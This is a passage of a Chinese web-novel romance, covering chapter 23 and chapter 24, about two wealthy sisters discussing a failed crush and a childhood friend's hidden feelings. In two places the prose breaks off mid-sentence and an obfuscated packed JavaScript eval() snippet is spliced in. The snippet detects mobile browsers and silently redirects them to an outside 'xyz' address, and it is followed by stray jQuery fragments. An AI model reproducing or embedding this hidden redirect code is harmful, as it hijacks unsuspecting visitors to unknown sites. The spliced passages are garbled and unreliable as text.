虞昭音抬手摸了摸她的发。 姐妹俩就这么坐下聊了会儿琐碎日常的事。 眼瞧着时间流逝,距离回嘉澍的时间越来越近,虞昭音才拉住虞千绾的手,声调放轻询问:“告诉姐姐,最近是不是受欺负了?” “嗯?” 虞千绾睁着圆溜溜的大眼睛,还不明姐姐突然转换话题的所指,“什么?” “就之前的那个小网红。” “哦……”虞千绾刚还神采飞扬的小脸肉眼可见地微怔而后敛下神情,“他啊,姐你怎么想起来问我这个……” 姐妹俩虽然感情很好,许多事情都聊,但男人这件事,她们很少聊。 倒没太多旁的理由,就是在姐妹局、家庭局中都不是优先级高的话题。 在她们家里,谈对象好像一直不是个多重要的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347404|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。 加之这些年时代变化,不止她们,周围朋友的家长都不是在催婚,而是催育,只要自家家业有后代继承,男不男人的无所谓,父母们还不想有个外人来到自家呢。而且说白了,京市有几家财力能比得过虞家?届时两家孩子财产共有,虞家定是吃亏的那方。 而且虞昭音对待异性的态度也渐渐影响到虞千绾,起初虞昭音谈恋爱的时候还会跟家里人提一提对方的性格和家庭以及怎么认识的,后来分了又谈,经历几段基本就不太当回事不会主动提了,除非某个契机正好聊到。 甚至于虞昭音当年去国外度假回来后就怀上了虞景澄,家里人都没多过问那个男人到底是谁,一方面是虞昭音明显没有和那人后续交往的意思,家人便没那闲心去关注他,另方面是虞昭音之前就挺想要个孩子的,还有思考要不要去国外精子库挑个基因不错的精子,这个孩子来得都在她们的计划中。至今,虞昭音都没说过任何有关孩子父亲的信息,家人也没多问过。 所以潜移默化中,虞千绾也觉得,不找到一个要结婚的对象也没必要那么早告知给家里人。但毕竟是第一次有喜欢的对象,起初,虞千绾还是很想把常桦这个人描述给家人听的,但是常桦身处娱乐圈身份特殊,他们也并没有真正在一起过,所以虞千绾没提,打算等到他们日后真在一起了感情稳定了再说,哪知道就发展成了现在的样子。 但她没想到,一向不太过问她感情生活的姐姐今日会冷不丁问及。 虞昭音确实不关心感情生活,无论是自己的还是旁人的,因为这事在她的生活里已经几乎占比为零了。 但现下的重点是,她知道妹妹受委屈了,这两个的着重点完全不同。 虞千绾听着姐姐的话,看着她认真在意的神情,心软软地侧首依偎在姐姐肩头,把和常桦的事都告诉了姐姐。 第一反应,虞昭音让虞千绾给她看了眼常桦的照片。 看完后,虞昭音沉默良久。 虽然是沉默,虞千绾感觉自己被骂得很狠。 虞昭音并非完全没管过虞千绾的感情生活,在虞千绾高中那会儿,差不多可以谈恋爱的年纪,虞昭音常同虞千绾聊这些,还跟她科普过性知识,但虞千绾到底没经历过,所以虞昭音说得比较浅,但起码让虞千绾有了些保护好自身的意识。 后来虞千绾成年,渐渐长大,心智成熟,该懂的道理也都懂得差不多,虞昭音就没再多管过。 不过时不时的,家里人也会跟虞千绾说,家里不要求她日后对象的家世多好,但绝不能太差,最重要的是自身得上进,品格良好。 然而常桦…… 显然哪个点都没达到。 到底,虞昭音只是摸了摸虞千绾的脑袋,“果然还是个小屁孩,纯靠着青春萌动的感情,不看颜值也不看自己得到的钱和情绪价值。” 虞千绾忍不住为当初的自己发声,“他有这么丑吗?虽然我现在不喜欢他了……但我感觉更多是人品问题,颜值没拉胯到那个地步吧?你这话显得我品味也太差了吧……” “嗯,很差。” 虞昭音以平淡的语调说出攻击性极强的话,虞千绾听得直想吐血。 “确实也不丑,但你自小跟商恪景关系那么好,周围帅哥也不少啊,恪景的哥哥长得也不赖,以及我看你堆朋友里面,薄家的那个孩子,还有程家的都不错,起码都比这个男的好看,以我的审美来说。” 虞昭音捏着虞千绾的脸,认真瞧了瞧她的眼睛有没有问题,明明生活在经济和外貌都挺优越的环境里,怎么看上了这么个什么都普通的男人。 虞千绾一时间更是反驳不上来,脑袋耷拉下去,声调嗡嗡,“……不知道,就是对别人没感觉。” 感情这事真的很难靠着世俗意义上的优秀去操控,譬如虞昭音也觉得商恪景和商知珩家世相当,外貌优秀,但她不会喜欢他们。 虞千绾亦然。 感觉是个很虚浮,自己都没法控制的字眼。 有那么一句话说,当那个人出现时,一切对于理想型的设定都形同虚设,甚至那个人和想象中完全是两样的,但心就是动了。 何况她们这圈子里都是家世不错的,长得帅也不少,如果只以这两个条件判断,那怕是会有很多个喜欢的对象。 不再喜欢常桦的虞千绾已经无法共情当初的自己了,她甚至自己都说不出自己当初是怎么一点一点喜欢上常桦的了,只想赶紧跳过这个话题,“姐你不要侮辱我了……我还以为你是要安慰我的呢。” “起初是这么想的,但我看你已经走出来了,再安慰反倒让你多想又陷进去,还不如找找根本原因,防止下次换个男人重蹈覆辙。” “绝不可能!” 虞千绾猛一拍桌,“再这样我就是猪。” 虞昭音没说话,只是浅笑着抬指在虞千绾鼻子前推了推。 虞千绾恼羞成怒扑到虞昭音怀里挠她痒痒,“啊!姐姐你怎么这么对我啊,商恪景都安慰我好久,你可是我亲姐姐。” 虞昭音不怕痒,随虞千绾怎么折腾,就笑着看着她,漫不经心问:“这些天都是恪景陪着你的?” “对啊。” “对他也没感觉?” “当然没感觉了。” 看着虞千绾不假思索就脱口而出的姿态,虞昭音点了点头,没再多问,换了话题,“绾绾,你确定不给那个男人些苦头吃?虞家女儿的身份是你的助力不是桎梏,你不需要因为担心账号经营问题轻轻放下,姐姐会帮你处理好一切,你只需要安心做你的工作。” “也不是啦,我是真的觉得没必要了,之前在他身上浪费太多时间,不值当。而且,我觉得他不可能在娱乐圈闯出名头来,相反,他要是待在网红圈还真能捞点钱,所以让他在娱乐圈待着反而挺折磨他的,他就是这种人,既要又要,拿不起还放不下的。尤其最近他同公司里最讨厌的那个男明星火起来了,他肯定超级不爽。” “尤其呀~我知道姐姐会帮我处理好,但姐姐这些年在嘉澍已经很累了,所以我也不想浪费姐姐的时间和精力。” 虞昭音宽慰一笑。 但在出了拍摄基地,和虞千绾的车往两地驶出时,虞昭音单手抵额手肘撑在座椅扶手边缘,淡淡说:“有个叫常桦的,给他找点事做。” 跟随虞昭音多年的助理自然听得出虞昭音的不快语调和隐蕴的深意,“是,昭音总。” 24. 第 24 章 虽然虞千绾在现场拍摄了许多容博延的视频和照片,虽然她知道多放与容博延有关的内容视频的流量和点赞量会越高,但她依旧没有那么做。 因为新账号主打是以她的视角记录的与嘉澍有关的日常,一切都以她自己为主角往外延伸,而容博延只是单日里的一个小点,放太多容博延反而会让大数据对她的账号定位有所偏移,误以为是站姐类推给追星族。 所以虞千绾只打算在视频里剪入一小段容博延,没用到的那些她就留着等到日后专门出一个合作过的明星大合集。 在视频剪辑上,虞千绾基本没什么担忧,她已经很熟悉这方面操作,但她只有剪些明星向视频和搞怪小视频的经验,不似新账号这般高难度,光是脚本都够她钻研许久。 加之是新账号的第一条试水视频,虞千绾很重视,心里面不自觉将其高度拔高到不该有的位置,反复修改反复剪辑又反复推翻。 幸而她的时间很多,目前购物平台还没官宣容博延的代言人身份,她需要等待购物平台公开宣传后再配合着一起把视频发出去,尚有充分的时间慢慢磨出自己满意的视频。 一周多的时间,虞千绾情绪基本调解好,虽然心里可能偶尔想起还会略微有些不是滋味,但已经不会再哭再明显形于色了。 商恪景发现了,但他藏着私心,所以嘴上不提,依旧除了睡觉外的时间都待在虞千绾家里。 虞千绾自然也不可能说什么,两人就这么和谐共处着。 青梅竹马的两人很习惯这样的日常,丝毫不会感到不适应,毕竟比之之前也就是每天在一起的时间更长了些而已。 这段时光里,商恪景非常惬意愉悦,因为再不用必须想到正当理由或话题才能来找她。 - 国庆假期悄然结束,但对处于大四的虞千绾和商恪景而言节假日和工作日并没太大区别,因为他们的课程很少,有时再碰巧遇到老师调课,两周都不用去一趟学校。 唯一固定的是,每周一次有关论文的线上或线下会议。 但没课协商一个组的学生有些困难,且老师也不是很想在学校里等着学生,找个固定的时间不固定地点对大家都舒服。 所以开学至今,就起初那周老师要求组内带的学生去了趟她的办公室线下交涉,其余都是选用的线上会议方式。 每周,虞千绾和商恪景这一组的所有学生都会按照老师的要求在截止时间前把论文发送给老师同步论文进度,然后在统一的时间与老师通语音沟通有无需要修改的内容或后续有关。 因为虞千绾天天抱着电脑和手机制作视频,商恪景也跟着上进不少,但他没旁的什么事要做,于是全把精力放在论文上,都要把论文初稿写完了——他们之前参加过不少次竞赛,还拿过几次国奖,很熟悉论文格式和写法。本科论文本身就没太大难度,商恪景还刻意选的是和自己当初参加过的一个竞赛差不多的选题,写起来非常顺滑。 虞千绾被他卷得焦头烂额,让他等等自己。 商恪景笑问她急什么,这才大四上学期没过多久,后面日子还久,而且她已经定期完成了老师的要求。 虞千绾自也知道这个道理,如果早早把论文写完的是旁人她压根不会有什么危机感,但偏偏这个人是商恪景,虞千绾就不适应,非常不适应。 他们该一起躺平的才对。 突然见好友这么卷,她心头慌慌的。 又是一周的线上汇报后。 邢老师狠狠夸赞了商恪景一番,说他是她带的学生里进展最快的,旁人都得在新年前才能把初稿大致定下,而他早早就完成了,甚至已经进入了数据收集阶段。 因为商恪景这番卷卷的行为,本来进度并不慢且完成了老师要求的同组学生们莫名就被老师小小吐槽了一下。 然后,商恪景一打开电脑就会收到虞千绾投来的哀怨一眼,还会轻嚷着让他等等她。 商恪景笑着妥协,转而挑选起电视剧看。他本身也没那么想努力,只是不想让她觉得他很无所事事。 在网上看了些电视剧的排名和评价,最终,商恪景选中了一部叫做《我的阿勒泰》的剧,剧很短,就八集。 虞千绾不太能够一心二用,虽然她挺喜欢剪视频或写论文的时候放个音乐或电视剧在一旁,但并没多少能进到脑子里,只是单纯喜欢有个声音在旁边。 所以,即使商恪景就坐在虞千绾旁边看的剧,她都不知道这部剧到底在说什么,就知道里面时不时冒出些听不懂的语言,总归不是普通话,并且女主角叫李文秀,男主角叫巴太。除此外,她就什么都不知道了。 “虞千绾,你看见我了吗?” 正在潜心写论文想要赶上商恪景进度的虞千绾忽闻他这么问了句,她抬头看去,懵然于他这没头没尾的话,“啊?什么?” 商恪景朝着面前的电视抬了抬下颚。 虞千绾顺着看去,只见商恪景用遥控器操控着电视回退了半分钟。 电视重新播放她没有看到的内容。 虞千绾定睛细看。 屏幕中,女主角遥遥望着在牧场躺着的男主角,出现了这么一句台词——“哈萨克文化里,人与人之间产生友情或者爱情是由于被看见,所以在哈萨克语中我喜欢你意思是我清楚地看见你。” 虞千绾想当然的认为他们之间是前者,还当商恪景在阴阳怪气她当初喜欢常桦时忽略了同他的友情,当即语调微扬,眼眸亮晶晶地看着他,满怀激情道:“当然看见啦,我全世界最最最好的朋友!你最近一直的陪伴,我都有看到!感恩~” 商恪景寡淡笑了笑,视线情绪不明地自她面上滑过,回正看着电视,遥控器也被他随手丢在一旁。 虞千绾无辜眨了眨眼,将电脑从腿上拿下去放在一旁,跪坐在沙发上倾身去瞧商恪景,“你怎么怪怪的?” “没有。” “没有?”虞千绾才不信,指着他脑门说:“你就差没把‘有事’这两个字刻在这了。” “真没有。” 商恪景偏过头,避开她手指的方向。 鼓了鼓嘴,虞千绾委实不解地瞧他,刚不是还好好的吗?怎么突然就不高兴了。 她最近也没提过常桦呀,也没因为旁人忽略了他,更没干过什么重色轻友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358193|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事吧? 客厅静了一瞬又一瞬,只有电视机持续往外传着声。 倏地,商恪景感觉到身侧人又朝他的方向挪了挪,圆润的脑袋可可爱爱地半探到面前,水灵灵的大眼睛巴巴望着他,好似想通了的模样斥责他,“商恪景你不是吧?不给你写论文还生气了?那你写呗。我不就是想让你等等我一起嘛。这么小气啊。” “你爱写可以写呀,最好把我的也一起写了。” 嘴比脑子快的。 商恪景被气笑了,当即发出声嗤笑。 他也是服了…… 这人到底什么脑回路? 偏偏气笑之余看着她那双懵然的眼和神情又觉可爱到不行,很想摁到怀里揉一揉,捏一捏再……亲一亲。 但显然超出了朋友范畴。 喉结微滚,商恪景一手放在她发顶转过她脑袋不让她用那双好看到不行的眼睛望着自己,一边同步地将视线也偏离开克制着不去被她吸引。 “真没什么事,我也不想写论文,只是看你一直在忙工作,我感觉自己也得找个事干。更没有生气,只是一直看剧打游戏有些无聊,提不起兴趣而已,” 这次,商恪景说话语气和神情正常了许多,不再像刚刚那副姿态了,虞千绾瞧了他眼这才安心,没再多想,“那你要不要约人出去打打篮球练一练?毕竟很快就要篮球赛了。” “你去吗?” “不想去,我不懂篮球,而且你们一群男生练球,我去很无聊。” 商恪景眉头一皱,不乐意了。 他侧过身,右手曲着直接压在沙发背上,宽硕颀长的身形具有压迫感地朝她倾近,“不是,虞千绾你不是说要给我加油打气送水送毛巾的吗?” 虞千绾毫无退缩之意,理直气壮,“我说的那是正式比赛!又没说平常训练。” “你——” 商恪景欲言又止,最后只是忿忿丢下“没良心”三个字偏开了头双手抱胸半侧过身不再看虞千绾,明摆着生闷气的样,比刚刚那句“没有”还要明显。 不知道是不是自己的错觉,虞千绾感觉商恪景最近特别特别娇气,动辄就有些小脾气小情绪的,很需要人哄似的。 但在她情绪不稳时,他的这种微妙情绪又会消散无存,稳稳接住她的情绪。 他们之间好像有着一种难以言说的平衡感。 想着他最近都陪着自己,虞千绾瞧着他正对着自己的那个隐蕴着不满的后脑勺,顺从着改了口,“行行行,去去去,商少爷开心了没?” 商恪景睐她眼,还拿腔作调的,“这么勉强啊?那就别去了。可别耽误千绾总的工作。” “啧。” 虞千绾一秒变脸,抬手就往他胳膊上打了一巴掌,跟着用食指指着他警告,“差不多得了啊,别在那得了便宜还卖乖的,跟你台阶就快点下。快跟球队约时间吧,不然小心我改主意。” 商恪景揉着刚被打过的胳膊那片,嘴里咕哝着“真暴力”,转而拿起手机联系魏明轩那边询问球队训练时间时,唇角却很是难压。 一想到虞千绾会陪他去练球,心里就爽到不行。